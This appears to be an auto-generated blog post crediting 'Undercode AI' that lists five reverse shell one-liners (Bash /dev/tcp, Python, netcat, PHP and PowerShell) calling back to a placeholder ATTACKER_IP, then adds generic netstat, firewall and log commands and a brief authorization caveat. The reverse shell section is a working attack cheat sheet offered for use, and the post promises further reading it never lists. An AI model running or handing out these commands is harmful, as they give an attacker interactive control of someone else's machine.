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2025-02-14
While deep in the hacking zone, I had an unexpected visitor—my little one decided to see what all the clicking and #reverseShell magic was about. Could this be a future pentester in the making? 🤙🏻
Practical Reverse Shell Commands
Here are some practical reverse shell commands to experiment with in a controlled environment:
1. Bash Reverse Shell
bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1
2. Python Reverse Shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
3. Netcat Reverse Shell
nc -e /bin/sh ATTACKER_IP ATTACKER_PORT
4. PHP Reverse Shell
php -r '$sock=fsockopen("ATTACKER_IP",ATTACKER_PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
5. PowerShell Reverse Shell
$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",ATTACKER_PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
What Undercode Say
Reverse shells are a fundamental tool in penetration testing, allowing attackers to gain control over a target machine. Understanding how they work is crucial for both offensive and defensive cybersecurity professionals. Here are some additional commands and tips to enhance your knowledge:
1. Linux Commands for Network Analysis
netstat -tuln
: List all listening ports.ss -tuln
: Another tool to list listening ports.lsof -i
: List open files (including network connections).
2. Windows Commands for Network Analysis
netstat -an
: Display all active connections and listening ports.tasklist /svc
: List all running services and their associated processes.powershell Get-NetTCPConnection
: PowerShell command to get TCP connections.
3. Firewall Management
- Linux: `ufw allow PORT` to allow a specific port through the firewall.
- Windows: `netsh advfirewall firewall add rule name=”Open Port” dir=in action=allow protocol=TCP localport=PORT` to allow a port.
4. Log Analysis
- Linux: `tail -f /var/log/syslog` to monitor system logs in real-time.
- Windows: `Get-EventLog -LogName Security -Newest 50` to get the latest security logs.
5. Advanced Tools
- Wireshark: For deep packet inspection.
- Nmap: For network discovery and security auditing.
- Metasploit: For exploiting vulnerabilities and testing defenses.
Understanding these commands and tools will not only help you in setting up reverse shells but also in defending against them. Always practice in a controlled environment and ensure you have proper authorization before performing any penetration testing.
For further reading, check out these resources:
By mastering these techniques, you can better understand the tactics used by attackers and improve your defensive strategies. Keep learning, keep hacking, and always stay curious!
References:
Hackers Feeds, Undercode AI